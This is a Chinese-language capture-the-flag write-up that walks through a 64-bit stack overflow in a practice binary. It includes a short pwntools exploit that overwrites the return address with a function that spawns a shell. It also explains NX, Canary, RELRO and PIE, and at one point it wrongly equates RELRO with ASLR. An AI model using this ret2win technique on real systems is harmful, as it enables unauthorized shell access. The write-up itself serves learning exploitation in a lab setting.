常规操作:
可以看到no canary found 没有栈保护机制 可以利用栈溢出pwn掉程序(NX,Canary,Relro,PIE保护机制的讲解文末聊)
64位放进ida64分析:
主函数的内容 :write()函数(write函数和read函数文末聊)
返回值是vulnerable_founction函数里的内容
点开看一下
返回值是read()函数的内容 有个栈 看一下
大小为0x80 s 是上一个函数的栈底bp ; r 是返回地址
通过read函数往栈里可写入0x200大小的数据 可产生栈溢出
怎么搞才能拿到shell呢???
shift+f12 看一下关键字符串 聪明的你看到了 bin/sh 这玩意儿相当于cmd 拿到它你就可以为所欲为
有个callsystem的函数 看一下 函数地址 0x400596
还愣着干什么 写exp哇
from pwn import *
r=remote(远端地址写进去)
payload=b'A'*0x88+p64(0x400596)(p64为什么?? 文末聊)
r.send(payload)
r.interactive()
文末
NX,Canary,Relro,PIE保护机制的讲解
NX 栈上的数据没有执行权限 防止栈溢出和跳到栈上执行shellcode 有NX的保护堆,栈,bss 段没有执行权限
Canary 在函数开始时就随机产生一个值,将这个值放到栈上紧挨ebp的上一个位置,当攻击者想通过缓冲区溢出覆盖ebp或者ebp下方的返回地址时,一定会覆盖掉CANARY的值;当程序结束时,程序会检查Canary这个值和之前的是否一致,如果不一致,则不会往下运行,从而避免了缓冲区溢出攻击。 防止所有单纯的栈溢出
Relro (ASLR) 堆栈地址随机化 防止所有需要用到堆栈精确地址
partial relro plt指向的got表只读,其他got表可写
full relro got表不可写
PIE 基地址随机化 代码部分地址无关 防止构造ROP链攻击
write函数和read函数
write
write(int fd,&buf,nbyte)
fd 文件描述符 把buf中nbyte写入文件描述符handle所指的文档
read
read(int fd,&buf,nbyte)
读文件描述符handle所指的文档写入buf中
(p64为什么??
pwntools提供了把16进制数表示的地址转换成4个字节的字符串的方便函数p32() 就是pack32位地址 64位所以p64